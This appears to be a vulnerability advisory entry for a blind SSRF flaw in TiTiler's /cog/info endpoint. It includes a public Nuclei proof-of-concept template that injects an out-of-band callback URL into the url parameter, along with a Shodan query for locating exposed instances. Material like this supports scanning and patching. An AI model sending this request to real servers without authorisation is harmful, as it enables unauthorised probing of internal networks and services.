Blind SSRF vulnerability in TiTiler, a dynamic tile server for Cloud Optimized GeoTIFFs (COGs). The flaw lies in how the application handles the url parameter in the /cog/info endpoint, allowing attackers to make arbitrary internal or external HTTP requests.
PoC代码[已公开]
id: titiler-ssrf
info:
name: TiTiler - Blind Server Side Request Forgery
author: xbow,DhiyaneshDK
severity: high
description: |
Blind SSRF vulnerability in TiTiler, a dynamic tile server for Cloud Optimized GeoTIFFs (COGs). The flaw lies in how the application handles the url parameter in the /cog/info endpoint, allowing attackers to make arbitrary internal or external HTTP requests.
reference:
- https://xbow.com/blog/xbow-titiler-lfi/
metadata:
verified: true
max-request: 1
shodan-query: html:"TiTiler"
tags: titiler,oast,obb,ssrf,vuln
http:
- raw:
- |
GET /cog/info?url=http://{{interactsh-url}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 500'
- 'contains(interactsh_protocol, "dns")'
- 'contains(body, "<imageAttributes> in document")'
condition: and
# digest: 4b0a00483046022100d1f901603d1b24628e268cc0b0ee5e75ce4dadfe6f31fe248ca15a482e04ce12022100dc904ca9e9502a037be7904c0f42f0fcd22ad35b77db339751de049cdb8c0738:922c64590222798bb761d5b6d8e72950